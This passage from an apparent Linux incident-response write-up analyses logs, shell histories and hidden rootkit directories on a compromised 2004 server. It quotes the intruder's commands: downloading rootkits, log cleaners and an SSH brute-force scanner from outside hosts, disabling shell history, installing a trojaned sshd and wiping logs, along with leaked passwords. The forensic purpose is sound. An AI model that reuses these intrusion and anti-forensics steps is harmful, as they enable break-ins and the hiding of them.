[2004/06/29 09:43:11, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User administrator !
```

```
[2004/06/29 09:43:14, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User guest !
[2004/06/29 09:43:16, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User guest !
[2004/06/29 09:43:19, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User nessus916350472
!
[2004/06/29 09:43:21, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User nessus916350472
!
[2004/06/29 11:33:19, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User administrator !
[2004/06/29 11:33:21, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User administrator !
[2004/06/29 11:33:24, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User guest !
[2004/06/29 11:33:26, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User guest !
[2004/06/29 11:33:29, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User nessus398883526
!
[2004/06/29 11:33:31, 0] passdb/pampass.c:smb_pam_passcheck(827)
  smb_pam_passcheck: PAM: smb_pam_auth failed - Rejecting User nessus398883526
!
```

/var/log/wtmp

Notice in the wtmp file output below user okray logged in, like we saw in the 'lastlog' output, but after about an hour all sessions had crashed. Below is an excerpt from the system administrator describing this situation when he arrived on scene:

> " On Monday, 3 Aug at 9:30 after arriving I noticed system was hung. So I reboot it and let come up on its default kernel and it hung again. So I began trying the other kernels that are installed on it. After trying 3 different versions I was able to get it up in single user mode on the 4th one. I begin checking the message log file /var/log/message looking for SSH entries. Finding little.[.....]"

A big question comes to mind; The administrator got to the system on 3 Aug at 9:30 but the system was hung on 2 Aug at 14:38 - How come user okray did not notice, or report, a system crash? Are we in fact seeing user okray logged into the local console, or is user okray logged over a network and the system crashed to console? At any rate, it's strange that there were no kernel errors reported to /var/log/messages, or were those zero's out?

```
reboot   system boot  2.4.18-27.8.0    Wed Aug  4 07:43        (253+10:54)
reboot   system boot  2.4.18-27.8.0    Mon Aug  2 15:36        (255+03:01)
okray  pts/1                    Mon Aug  2 14:38 - crash  (00:57)
okray  pts/0                    Mon Aug  2 14:38 - crash  (00:58)
```

```
okray  :0                    Mon Aug  2 14:38 - crash  (00:58)
reboot   system boot  2.4.18-27.8.0   Mon Aug  2 14:37        (255+04:00)
reboot   system boot  2.4.18-27.8.0   Mon Aug  2 09:30         (05:00)
reboot   system boot  2.4.18-27.8.0   Mon Aug  2 09:28         (00:01)
okray  :0                    Mon Aug  2 08:07 - 08:10  (00:03)
okray  :0                    Mon Aug  2 07:57 - 08:06  (00:09)
```

Let's take a look at the “last” command with a few options; -i to display remote IP's and -x to display run levels:

```
[root@LinuxForensics log]# last -f ./wtmp -i -x
reboot   system boot  0.0.0.0         Wed Aug  4 07:43        (253+12:47)
reboot   system boot  0.0.0.0         Mon Aug  2 15:36        (255+04:54)
okray  pts/1        0.0.0.0         Mon Aug  2 14:38 - crash  (00:57)
okray  pts/0        0.0.0.0         Mon Aug  2 14:38 - crash  (00:58)
okray  :0           104.62.1.64     Mon Aug  2 14:38 - crash  (00:58)
runlevel (to lvl 5)   0.0.0.0         Mon Aug  2 14:37 - 20:31 (255+05:53)
reboot   system boot  0.0.0.0         Mon Aug  2 14:37        (255+05:53)
shutdown system down  0.0.0.0         Mon Aug  2 14:31 - 20:31 (255+05:59)
runlevel (to lvl 6)   0.0.0.0         Mon Aug  2 14:31 - 14:31  (00:00)
reboot   system boot  0.0.0.0         Mon Aug  2 09:30         (05:00)
shutdown system down  0.0.0.0         Mon Aug  2 09:29 - 14:31  (05:01)
runlevel (to lvl 6)   0.0.0.0         Mon Aug  2 09:29 - 09:29  (00:00)
runlevel (to lvl 5)   0.0.0.0         Mon Aug  2 09:28 - 09:29  (00:01)
reboot   system boot  0.0.0.0         Mon Aug  2 09:28         (00:01)
runlevel (to lvl 6)   0.0.0.0         Mon Aug  2 08:10 - 09:28  (01:17)
okray  :0           104.62.1.64     Mon Aug  2 08:07 - 08:10  (00:03)
okray  :0           104.62.1.64     Mon Aug  2 07:57 - 08:06  (00:09)
```

```
# Default runlevel. The runlevels used by RHS are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)
```

Hmmm, what we see here are a lot of system reboots and X11 logins right from console (:0). User okray seems to be the one initiating all of this, then ultimately crashes the system. Sure seems like okray is sitting at the system and not remotely connected, but what explains the 104.62.1.64 – IANA Reserved, IP? I'm confused.

History File Analysis

We again reviewed what we knew about the incident:

- SSH might have been the entry point - We saw evidence that someone

was using a brute force script against SSH
- The Date of compromise could have been between 28 Jul – 01 Aug - This still seemed plausible
- The system was unresponsive - We saw this occurred on 2 Aug but still didn't know the reason why
- Roots password did not work - We have not seen evidence of that yet
- The NIC was in PROMISC mode - We saw indeed the NIC enters PROMISC mode during bootup, but we have not found out what caused this.
- An IRC server was installed - On 31 Jul the BitchX IRC was installed as an RPMpkg
- Key system binaries were owned by user “okray” instead of “root” - We have not analyzed this further as of yet.
- The system might have been infected with the linux.osf.8759 Trojan - We have not analyzed this further yet.
- We now have suspicions that the /var/log files have been modified in some way (missing entries, timestamps do not match, etc)

Our next step was to take a look at all of the history files to see if they could give us any answers (especially since reviewing the log files didn't really help us as much as we were hoping, in fact more questions were generated). I've pulled out the most interesting things within the history files, and highlighted the really significant things:

User Okray .bash_history

```
route -n----------------------------------> Odd for a normal user to worry about routes
lsmod              ----------------------------------> Even more strange to wonder about loaded modules
cd /etc/sysconfig/         ----------------------------------> Hmmm
ls -l
ls
cd ../xinetd.d/            ----------------------------------> Wondering what's running?
ls -l
ssh root@5993.jag.af.mil
scp root@5993.jag.af.mil:/etc/xinetd.d/wu-ft* ./   ----------------------------------> Trying to get wu-ftp
ssh root@5993.jag.af.mil
/sbin/s --list
ps -ax                     ----------------------------------> See what's running
/sbin/chkconfig --list
/sbin/chkconfig --list |grep w      ----------------------------------> Normal user maintaining rc.d?
less ipchains              ----------------------------------> Hmmm, again
ps aux|grep smb
su -                       ----------------------------------> Hey, why?
exit
ls
perl perlhw1.pl  ----------------------------------> Turns out these Perl entries are the real okray who's
                                                     learning how to use Perl
```

ls -l
cd perl
perl perlhw1.pl
exit
cd /etc
cd xinetd.d ----------> Back to suspicious stuff
ls
cat wu-ftpd ----------> **Funny, I don't see wu-ftp in our listings?**
ps aux | grep wu-ftp
cd ..
su -
exit
su -
exit
cd /proc
cat version
exit
history ----------> Yep, we see you
exit
ifconfig ----------> **Odd, why run ifconfig then run absolute path for ifconfig next? (trojan version?)**
/sbin/ifconfig
ping x.x.59.12
ping x.x.56.8
ping x.x.56.8
ping x.x.59.254
cd /var/log/ ----------> Okay, interesting
ls
cd /var
ls
df ----------> Are you filling up the logs?
cd /var
ls
ls -l
dir
cd log
dir ----------> Hmmm, are we on a Windows box?
tail messages ----------> **What's in here that's important, or what was in there??**
ps -ef|grep http
ps -ef
pine ----------> What are we sending?
su -
su -
passwd
passwd root ----------> **Alright, why is user okray doing this to root??**
su -
su -
dir
tail messages
cd secure
tail secure
tail secure|grep 206.168.67.247 ----------> **That's our Columbian IP!**

vi secure ----------> **Wow, that's bad!**
vi secure
su -
su -
ps -ef
ssh -v ----------> What's important about this?
ssh -version
vi /etc/sysconfig/iptables ----------> **This is bad too!**
exit

User Root .bash_history

---

su
w
scp only@linuxhell.net:/home/arpa/only/haitateam.tgz . ----------> **What the linuxhell?**
ls
dir
tar xzvf haitateam.tgz ----------> **We got a tar file to find!**
rm -rf haitateam.tgz
cd haitateam/
ls
dir
./scan.sh 66.119 ----------> **Wild guess, but haitateam is an SSH**
scanner? Actually, the haitateam application is indeed an SSH brute force tool
./scan.sh 66.181
man scp ----------> Hmmm
ls -al
w
telnet localhost 22
pwd
cd
rm -rf haitateam/
ls
dir
rm -rf ssh ----------> **Removing SSH, installing bad version sometime soon?**
telnet fileserver1.ev1servers.net 22
telnet 216.127.76.27 22 ----------> **File server hosted at "Everyones Internet" –**
- Not good

A quick call to the system administrator and user okray confirmed this activity was not conducted by either one of them. We certainly had evidence that something suspicious, and malicious was going on - And more questions to answer.

File System Analysis

Finding Odd Or Hidden Directories and Files

Basically, I used fours types of 'find' commands to find hidden directories, files, and both with special characters. After I applied this to each partition image I was disappointed to see little results, I expected to find a bunch of things. However, it turned out that the hidden directory under /var was a pretty big discovery for us. It was this step that everything changed, a rootkit was discovered.

```
find . -name ".. " -print -xdev
find . -name ".*" -type d -printf "%Tc %k %h/%f\n"
find . -name ".*" -type f -printf "%Tc %k %h/%f\n"
find / -name ".*" -print -xdev | cat -v
```

/root

Here's where we see the IRC server BitchX is installed...Not a big deal, move on to /var.

```
Wed 28 Jul 2004 12:43:33 PM CDT 4 ./root/.BitchX
```

/var

```
Sun 01 Aug 2004 05:21:17 PM CDT 4 ./lib/games/.src
```

We see a hidden directory called .src, oddly placed under the games directory. Under this are two subdirectories called 'skit' and 'ssk', written to on 1 Aug and 27 Jun 2004 respectively.

---

var/lib/games/.src/skit

Here's what we see under this directory;

```
-rwxr-xr-x    1 root     bin          4439 Jan 24  2004 findkit ----------> Just like it sounds, finds 28 different kinds of rootkits.  Also looks for passwords and devices piping to dev/null

drwxr-xr-x    2 root     root         4096 Aug  1  2004 log    ----------> MIG logcleaner by no1 (greyhats.za.net).  Let's you remove, add, modify logs from utmp , wtmp, utmpx, wtmpx, lastlog files.

-rw-r--r--    1 root     bin         89600 Jan 24  2004 log.tar ----------> And here's the tar for it
```

-rwxr-xr-x 1 root bin 337 Mar 2 2004 setup ----------> Nice, now we can see where this thing installs. Below is what it's suppose to do, however there was no “man” directory under /usr, so either it was deleted or the intruder modified the conf file.

```
mv ssh_host_key /usr/man/man1/sys
mv sshd_config /usr/man/man1/sys
mv log.tar /usr/man/man1/sys
mv ssh /usr/man/man1/sys
mv findkit /usr/man/man1/sys
mv ssh-keygen /usr/man/man1/sys
mv ssh_host_key /usr/man/man1/sys
 mv sshd /usr/bin/inetd
 touch /usr/man/man1/sys/lib.so
 chmod 666 /usr/man/man1/sys/lib.so
```

-rwxr-xr-x 1 root bin 235764 Mar 2 2004 ssh
-rwxr-xr-x 1 root bin 252496 Mar 2 2004 sshd
-rw-r--r-- 1 root bin 439 Mar 2 2004 sshd_config ----------> I pulled out the significant entries for this file;

```
Port 3913
ListenAddress 0.0.0.0
PermitRootLogin yes
```

-rw-r--r-- 1 root bin 525 Jan 24 2004 ssh_host_key
-rwxr-xr-x 1 root bin 119472 Jan 24 2004 ssh-keygen

---

var/lib/games/.src/ssk

Here are the significant entries under this directory, it's in here when the real meat and applications of the SSH rootkit reside;

-rw-r--r-- 1 root root 71076 Jun 27 2004 config.log ----------> The entire install log. Key interest for me was where everything is suppose to be installed, although the subdirectories no longer exist: **config.log /usr/man/man1/sys/rk/remote/raw/ssk/configure** (Notice 'rk', rootkit?). Further analysis showed this was very similar to the 'shKIT' backdoor.

drwxr-xr-x 2 okray okray 4096 Apr 27 2004 shit ----------> Sub-directory under ssk. There is another config file in this directory called “sshd2_config”, it's this file that's really being called within the config.log so it's safe to assume these were the install parameters used. Notice user okray owns this;

-rw-r--r-- 1 jmel-proxy jmel-proxy 45 Jun 23 2004 ssk.tar.gz ----------> And here we have the entire tar file for analysis. Makes our job very easy.

Port	51980
ListenAddress	0.0.0.0
Ciphers	AnyStd
PermitRootLogin	yes

```
UserConfigDirectory     "%D/.ssh2"
UserKnownHosts          yes
```

Setuid and Setgid Files

We next ran another “find” command to pull all files allowing normal users to assume root privilege. We should have expected to see some evidence of this, especially since user okray seems to either own or have the ability to modify files normally under roots control. However, we only had ten returns and all turned up normal. It would appear that instead of setting SUID to files, the intruder just changed the ownership of files instead.

```
find / -perm -2000 -o -perm -4000 -print
```

INODE Searches

This is my favorite search to conduct on analysis, and probably the easiest command to issue to find suspicious files. Since we still didn't have an initial date of compromise, I decided to retrieve all inode changes after the date of system installation. I used /root/install.log (another file that can be used to find out when a system was installed) as my starting point. I then took this output and piped it through “ls -lit” for each entry and analyzed those results. My last check was to search through all inode value for entries with root as just a user or a group, not both.

```
find . -cnewer /mnt/04-34/root/tmp/install.log -print0 | xargs -0 ls -lncad \
ls -lit | sort| uniq| sort
```

```
---------------------------------------------------------------
/dev
---------------------------------------------------------------
  30725 srwx------   1 root     root           0 Aug  2  2004 gpmctl
  30726 crw-rw----   1 root     disk      27,  20 Aug 30  2002 nzqft0
  30736 -rw-r--r--   1 root     root        1041 Jul 28  2004 srd0
  30747 srwxr-xr-x   1 root     root           0 Aug  4  2004 log
  30754 ----------   1 root     root           0 Jul 28  2004 hdx1
  30770 ----------   1 root     root           0 Jul 28  2004 hdx2
 30896 crw-------   1 okray root       5,   1 Aug  2  2004 console
```

I noticed these files grouped together, and thought how strange it was for user okray to own 'console'. Next, I issued a 'file' command and noticed the “srd0” file was ASCII text, very strange for a /dev file -- Man, is this really familiar (aka T0rn variant, but normally this is a directory not an ASCII text file). Here's its output:

```
jtojycKdL4DJsnej1lO3uLTc35gV3MvdoSae3F66+LHobTlPUCEeEzdxglyNos4IvejtbRNdAMxP/d7
NhBeFseisPX5oloDE5z1e2ZjQtsMAQR0GflSq9HQ71saH7riZnhwsFEM+RvJblabLfQzlT796HZC
HbJRHzwU0BoEWZW66Kw9fmiWgMTnPV7ZmNC2wwsU7xca7n/xqiRJgqZyDIg9itN4y/xwl3i2DR
UMJHtbfpL8u0zFWEQVd4aHHRV8MZ6Kw9fmiWgMTnPV7ZmNC2wwJKOv676SnOtiJUGMXEm
```

Wh2HtQ/w/KI/Cwn098Po9gBnVS3ccyoWJvoHxARS2Az4+6Kw9fmiWgMTnPV7ZmNC2wwCtFcM
2+HLMl5zN/Jzd8jdY1DVZ8u9uVG9QiXciOVq9RnylbaCJUtkIZtodypSCex6Kw9fmiWgMTnPV7Zm
NC2ww/+HKK8q4jQ8q2kcKIGOxmaFkp7TDjs9cJ4zL2PCbQI5oRfJqqJhR5/4k+4vDqwlW6Kw9fmi
WgMTnPV7ZmNC2wwsSm0SrIhPlgr3OYCGQu9cL/Ii7Jc/y+3jMK8yspLRLsS7dk2xyaySZVyBz4
xsJLvejtbRNdAMxP/d7NhBeFseisPX5oloDE5z1e2ZjQtsMvWx9vTcQD5vR04WJVpXgC1IQXZUB
bX/3ynL634iEuzZUfb9WXOCPgW4fLKozFRr18GdivriXhV99Urg+qyUS5OisPX5oloDE5z1e2ZjQt
sM2/dnS2ytMODCe21bQui7fjr25xDkbgIzkio+5rygNJtC2DSuxCWu5vgapmla+YFx6Kw9fmiWgMT
nPV7ZmNC2wwZmnq2sCaUPJQp99PXG+FyGoaVF5i+Oc+YGUhwvP8phDnnApDPhNqf9Y82i7B
X/UHVWRY+R8hmtWPTN9aYJrjduisPX5oloDE5z1e2ZjQtsMH9w4M5Cjq0HRLZmiWTxz5X3WVH
/YFNHLoqgMlHsnXu32DzoaHGegbaIHhKS8YKnf6Kw9fmiWgMTnPV7ZmNC2ww

This looks very familiar, like base-64 encoding.. or maybe, an ssh key? Wait a minute, I should check the ssh rootkit keys to see if we have a match under the var/lib/games/.src/ssk directory;

```
[root@LinuxForensics dev]# md5 srd0
2f84ca5851f00c026165cd9e9c5d2517        srd0

[root@LinuxForensics shit]# md5 hostkey
62d81589f659f3a7085949e03de64c0f        hostkey

[root@LinuxForensics shit]# md5 hostkey.pub
d8f5abff5d595407c3428b838e7f66ea        hostkey.pub

[root@LinuxForensics shit]# cd ../../
[root@LinuxForensics .src]# cd skit

[root@LinuxForensics skit]# md5 ssh_host_key
4369a01c34fde580fc0007f515282bfc        ssh_host_key
```

None of these matched, but further analysis did show srd0' was an SSH key for someone.

/bin

Here we see how easy it is to spot files out of place, these are some of the key system binaries that 'okray' owns instead of root.

```
3530 -rwxr-xr-x    1 okray okray    54152 Aug  6  2002 netstat
3531 -rwxr-xr-x    1 okray okray    62920 Aug 12  2002 ps
3542 -rwxr-xr-x    1 okray okray    13725 Aug 30  2002 login
38477 -rwxr-xr-x    1 root     root       77285 Jun 23  2002 ed
```

/sbin

Again we see some key binaries owned by okray. Notice that although we are in a different, the inodes between the binaries in /bin and /sbin are pretty much sequential (and all owned by okray). Now, notice how the timestamps kind of bounce around, a good look at the MAC's of these inode groupings

should give us when these binaries were modified... If this is a rootkit trojanizing these files, is it using 'mv' to copy them so it won't change the timestamps?

```
3529 -rwxr-xr-x    1 okray okray    31504 Aug  6  2002 ifconfig
3533 -rwxr-xr-x    1 okray okray    26496 Jun 23  2002 syslogd
```

/tmp

I didn't really see anything malicious with these directories, but I noticed their inodes happened right before the /bin and /sbin binaries are modified. Within these directories are socket files that held a network session at one point --- hmmm.

```
3520 drwx------    2 okray okray     4096 Feb  9  2004 ssh-XXyvTtxU
3528 drwx------    2 okray okray     4096 Aug  2  2004 ssh-XXMdfvOW
```

/etc/rpm

Here is where my check for files without root as both user and group came in handy, otherwise I think I would have missed all of this. What we see are the OSF Trojan clean files, last accessed on 31 Jul. The rest of the files may or may not be related but their inodes are all grouped together -- can you tell what's going on? To me it looks like someone is running this remotely.

```
92931 drwxr-xr-x    2 1005     1005         4096 Jul 31  2004 clean-osf
                  -rwxr-xr-x    1 root     root         18857 Jul 31  2004 clean-osf.8759-ps
93317 -rw-r--r--    1 1005     1005        13342 Nov 22  2003 clean-osf.8759.c
93319 -rw-r--r--    1 1005     1005           79 Dec  6  2002 Makefile
92874 srw-------    1 okray okray          0 Aug  2  2004 kdeinit-:0
92875 -rw-rw-r--    1 okray okray         39 Aug  2  2004 KSMserver__0
92876 srwxrwxr-x    1 okray okray         0 Aug  2  2004 klauncherhKTzGa.slave-socket
92877 drwx------    2 okray okray      4096 Sep 11  2003 ssh-XXgYZxRu
92887 srwxrwxr-x    1 okray okray         0 Sep 11  2003 agent.9529
92930 drwx------    2 okray okray      4096 Aug  2  2004 ksocket-lmokray
92932 drwx------    2 okray okray      4096 Feb  6  2004 ssh-XXdH99Dv
92933 srwxrwxr-x    1 okray okray         0 Feb  6  2004 agent.28781
92934 srwxrwxr-x    1 okray okray         0 Sep 11  2003 klauncherz99lec.slave-socket
93320 srwxrwxr-x    1 okray okray         0 Feb  6  2004 klauncherJXlW1a.slave-socket
93321 srwxrwxr-x    1 okray okray         0 Feb  9  2004 klaunchernYIQcc.slave-socket
93324 -rw-r--r--    1 okray okray        43 Jan  6  2002 lidps1.so
93567 drwx------    2 okray okray      4096 Aug  2  2004 kde-lmokray
93571 -rw-rw-r--    1 okray okray    489111 Aug  2  2004 ksycoca
93578 -rw-rw-r--    1 okray okray       516 Aug  2  2004 ksycocastamp
```

/usr/lib/games

We revisit our SSH backdoor...

```
drwxr-xr-x    4 0        0          4096 Aug  1  2004 ./lib/games/.src
drwxr-xr-x    9 500      500        4096 Aug  1  2004 ./lib/games/.src/ssk
drwxr-xr-x   12 500      500        4096 Aug  1  2004 ./lib/games/.src/ssk/lib
drwxr-xr-x    3 500      500        4096 Aug  1  2004 ./lib/games/.src/ssk/lib/sshpgp
```

/usr/sbin

There are two things I want to point out about these entries. Notice 'lsof' nestled in-between legitimate files logrotate and logwatch. Looks like lsof just had its properties changed to user okray, and not directly written to.

```
129853 -rwxr-xr-x    1 root     root        39045 Jun 23  2002 logrotate
129854 -rwxr-xr-x    1 okray okray    82628 Jun 23  2002 lsof
129855 lrwxrwxrwx    1 root     root           35 Oct 21  2002 logwatch ->
                                                ../../etc/log.d/scripts/logwatch.pl
```

Second, all of the binaries in /sbin had inodes between 12000 to 13000, then all of a sudden there is this file called 'zic' with an inode not even close. Notice the timestamp, looks like it could be the original 'zic' binary used for time conversions -- but this is a rootkit also;

```
33578 -rwxr-xr-x    1 root     root        51412 Apr 16  2003 zic
```

We spent quite a bit of time analyzing this binary, due in large part because it crashed 3 of our test systems. In fact, our test systems could no longer boot into default kernels anymore, just like our victim system!

```
---------->sub     804CAB4
|          exit
|
-----------------------------------> 14 additional sub calls (where the trojans come in)
|
|
[...]
------------> sub  804CA4Q
           mv ebx, (esp + arg4)
           mv dword ptr (ebx), 1337C0DE  <--------- this is where it was crashing when it
                                                    wrote “leetcode” to memory -- ha, ha....
```

Turns out we needed RedHat 7.1, Kernel 2.4.2 for this to work perfectly --- strange. This file is really a variant of the 'mYrk' rootkit (presumably meaning My Rootkit). It's capable of hiding processes, files, network sniffing, modifying firewall rule-sets, and key logging. Our analysis within IDA-Pro (reverse-engineering and debugger) showed the system binaries owned by okray were identified within here as trojanized version.. Further analysis showed it has many similarities between the t0rnv8 rootkit. It's main feature was its ability to have a port-less backdoor (it would listen for a trigger packet promiscuously then wake up)... this helps hide it from lsof, nmap, etc....

The rootkit also installed a directory under /usr/lib/ix86/logz (Yeah, it's buried) to maintain its clean files and sniffer file. We will get to these shortly.

So, how many rootkits do we have now, so far I count three.....

/usr/src/redhat/BUILD

The directory psmisc contains a collection of known tools to read, kill, and map processes. The inodes of the tools inside this directory are sequential to many of the malicious files we have already analyzed, so it's a good bet the intruder placed these on the system.

```
359062 drwxr-sr-x    5 root     root         4096 Jul 31  2004 psmisc-21.2
```

/usr/lib/ix86

Here is the directory the mYrk rootkit installs. Aside from IDA-Pro showing us where this was our search for files not owned by root as both user and group paid off--- Notice the group ID of 6666, who is this because it's not in victim's passwd file? It's assumed this ID came from a tar file that retained original permissions.

Under the ix86 there is a subdirectory called 'logz' containing the keysniffer file (pass.log) and a cleaner file called 'wclean'.

```
213496 drwx------    3 root     6666         4096 Jul 30  2004 ix86
                  drwx------    2 root     root         4096 Jul 30  2004 logz
                            -rw-r--r--    1 root     root        24473 Aug  2  2004 pass.log
                  -rwxr-xr-x    1 root     root        18799 Jul 30  2004 wclean
```

The wclean file is another utmp, wtmp, lastlog and generic string editor. This cleaner, along with a script under /usr/bin called 'v' (we see this later) were used to attempt to clean just about every log file. Here's what it can do;

```
Usage: %s user [-x] [-h host] [-i ip] [-a] [-w path] [-b] [-u path] [-l path] [-n nr]
       %s -L logfile [string / -t nr]
        -n nr   only delete the latest nr matching entries
        -t nr   clean last nr lines from filelog cleanser
        -x      clean everything u/w/l
        -h host zap this host
        -i ip   zap this ip
        -a      adjust lastlog
        -b      clean utmp
        -w path path to wtmp
        -l path path to lastlog
        -L path path to ascii file
```

Below are the significant entries within the pass.log file. I've stated this was

a keysniffer before but that's a little misleading. In-depth analysis of the mYrk rootkit showed pass.log is the output of a terminal sniffer, meaning whatever process grabs a pts terminal will be sniffed (pretty nice). So, this file was quite large even though it was only a few days old. This output helped us a lot with what files we wanted to recover later on in our investigation. I found it very odd though that the intruder allowed all of their actions to be logged. My suspicions were the intruder never got around to cleaning their tracks completely because the system became unresponsive, that would explain why we have so much evidence without even pulling the deleted data yet;

pts0: 10227 (0): -bash: BitchX
pts0: 10250 (0): BitchX: ^C^Z/exit ----------> Ah, freaking out, it works, it works!
pts0: 10250 (0): BitchX: /quit
pts0: 10250 (0): BitchX: /quit
pts0: 10227 (0): -bash: kill -9 $$----------> Odd way to kill a terminal, still panicking?
pts0: 10263 (0): -bash: ls
pts0: 10263 (0): -bash: ssh -l admin x.x.55.126 q1w2e3r4 ----------> **Nice root password. This was actually the original root password, pretty easy to brute force. Turns out the intruder changed roots password later on.**

pts0: 10291 (0): -bash: wget mirror.trouble-free.net/killall/skdetect ----------> **Neat, intruder wants to see if their rootkit will be detected by the skdetect tool**
pts0: 10291 (0): -bash: unset HISTFILE ----------> Hmmm, okay
pts0: 10291 (0): -bash: wget egensolutions.com/skdetect ----------> Get it again
pts0: 10505 (0): ftp 66.218.91.76: egensolutions.com
pts0: 10505 (0): ftp 66.218.91.76: get clean.tar.gz ----------> **Okay, now we know who put the OSF Trojan on the box**
pts0: 10505 (0): ftp 66.218.91.76: get skdetect
pts0: 10505 (0): ftp 66.218.91.76: bye\
pts0: 10291 (0): -bash:
pts0: 10291 (0): -bash:
pts0: 10291 (0): -bash:
pts0: 10291 (0): -bash: chmod +x skdetect
pts0: 10291 (0): -bash: ./skdetect ----------> **Running it**
pts0: 10291 (0): -bash: rm -rf skdetect
pts0: 10291 (0): -bash: tar xfzv clean.tar.gz ----------> Un tar the OSF cleaner
pts0: 10291 (0): -bash: cd clean-osf/
pts0: 10291 (0): -bash: ./^Umake ----------> Make it
pts0: 10291 (0): -bash: pstree
pts0: 10291 (0): -bash: strings /usr/bin/atd
pts0: 10291 (0): -bash: rpm -q --whatprovides /usr/bin/atd
pts0: 10291 (0): -bash: killall -9 /usr/bin/atd ----------> What, wrong directory for normal atd
pts0: 10291 (0): -bash: rm -rf /usr/bin/atd ----------> **Maybe we will recover this**
pts0: 10291 (0): -bash: ^Cls -al /usr/sbin/.fbi ----------> Interesting
pts0: 10291 (0): -bash: cd /usr/sbin/.fbi

pts0: 10291 (0): -bash: cd alarmd
pts0: 10291 (0): -bash: ls
pts0: 10291 (0): -bash: cat mech.set
pts0: 10291 (0): -bash: cd ..
pts0: 10291 (0): -bash: rm -rf * ----------> More stuff to find in deleted section
pts0: 10291 (0): -bash: cd ..
pts0: 10291 (0): -bash: rm -rf .fbi
pts0: 10291 (0): -bash: pstree
pts0: 10291 (0): -bash: cd /etc/rc.d
pts0: 10291 (0): -bash: ls -al
pts0: 10291 (0): -bash: cat rc.local
pts0: 10291 (0): -bash: cat rc.sysinit
pts0: 10291 (0): -bash: wget ftp://rpmfind.net/linux/redhat/9/en/os/i386/SRPMS/psmisc-21.2-4.src.rpm
pts0: 10291 (0): -bash: rpm -UVH vh psmisc-21.2-4.src.rpm
pts0: 10291 (0): -bash: rm -rf psmisc-21.2-4.src.rpm ----------> But we already found you!
pts0: 10291 (0): -bash: rm -rf /usr/sbin/xntps ----------> Another file to recover
pts0: 10291 (0): -bash: chattr -iau /usr/sbin/xntps ----------> **Don't modify timestamps**
pts0: 10291 (0): -bash: whereis xntps
pts0: 10291 (0): -bash: locate xntps ----------> Um, you removed it
pts0: 10291 (0): -bash: lastlog
pts0: 10291 (0): -bash: last root
pts0: 10291 (0): -bash: w
pts0: 10291 (0): -bash: ./c^I^Ccd clean-osf ----------> Run the OSF script
pts0: 10291 (0): -bash: chattr -iau /bin/ls ----------> **Don't modify timestamps**
pts0: 10291 (0): -bash: rm -rf /bin/ls ----------> **Just removes 'ls', got a trojan copy?**
pts0: 10291 (0): -bash: wget typeuid.org/ssh.tar.bz2 ----------> Is this the rootkit SSH? Nope, we will see that later?
pts0: 10291 (0): -bash: bunz^I ssh.tar.bz2
pts0: 10291 (0): -bash: ls ssh
pts0: 10291 (0): -bash: tar xfv ssh.tar
pts0: 10291 (0): -bash: rm -rf ssh.tar
pts0: 10291 (0): -bash: rpm -q --qhatprovides /bin/ls ----------> Want to see what installed this?
pts0: 10291 (0): -bash: rpm -q --whatprovides /bin/ls
pts0: 10291 (0): -bash: history | grep wget
pts0: 10291 (0): -bash: history
pts1: 12696 (0): -bash: cat /root/.ssh/known_hosts
pts1: 12696 (0): -bash: rm -rf /root/.ssh/known_hosts ----------> **Don't care about being quiet?**
pts1: 12696 (0): -bash: vi /root/.ssh/known_hosts2
pts1: 12765 (0): vi /root/.ssh/known_hosts2: ----------> **The mYrk sniffer actually dumps the VI output too, we saw intruder paste in his key that used to hide in**

/dev ---
pts0: 10291 (0): -bash: ifco^I | grep inet
pts0: 10291 (0): -bash: ifconfig
pts0: 12802 (0): -bash: uname -a ----------> Weird, normally this is one of the first commands
pts0: 12904 (0): -bash: cat /etc/hosts
pts0: 12955 (0): ftp 66.218.91.77: egensolutions.com
pts0: 12955 (0): ftp 66.218.91.77: egen1234
pts0: 12955 (0): ftp 66.218.91.77: hash
pts0: 12955 (0): ftp 66.218.91.77: get v ----------> **Turns out this is yet another cleaning script, this time to modify the secure, xferlog, mailog, mail, and httpd access logs**
pts0: 12904 (0): -bash: chmod +x v
pts0: 12904 (0): -bash: mv v /usr/bin
pts0: 13001 (0): bash: scp only@linuxhellunset HISTFILE ----------> Cool
pts0: 13001 (0): bash: scp only@linuxhell.net:/home/arpa/only/mail.tar.gz .
pts0: 13001 (0): bash: tar xzvf mail.tar.gz
pts0: 13001 (0): bash: rm -rf |mail.tar.gz mail.tar.gz ----------> **More stuff to find**
pts1: 13469 (0): -bash: mkdir -p /var/lib/games/.src ----------> Here's the SSH rootkit dir
pts1: 13469 (0): -bash: cd /var/lib/games/.src
pts1: 13469 (0): -bash: wget
pts1: 13469 (0): -bash: wget addr12.addr.com/~caver/skit,.ta.tar ----------> The RK tar file
pts1: 13469 (0): -bash: tar xf sk^I
pts1: 13469 (0): -bash: rm -rf sk^I.^I ----------> We don't really need the tar, we have the whole dir
pts0: 13441 (0): bash: scp only@linuxhell.net:/home/arpa/only/haitateam.tgz . ----------> **SSH brute forcer. Probably the exact same tool intruder used to get into this system.**
pts0: 13441 (0): bash: tar xzvf haitateam.tgz
pts0: 13441 (0): bash: rm -rf haitateam.tgz
pts0: 13441 (0): bash: ./^H/scan.sh 66.119 ----------> **scan.sh is part of haitateam.tgz, intruder is looking for other victims...**
pts1: 13469 (0): -bash: cd /var/lib/games/.src
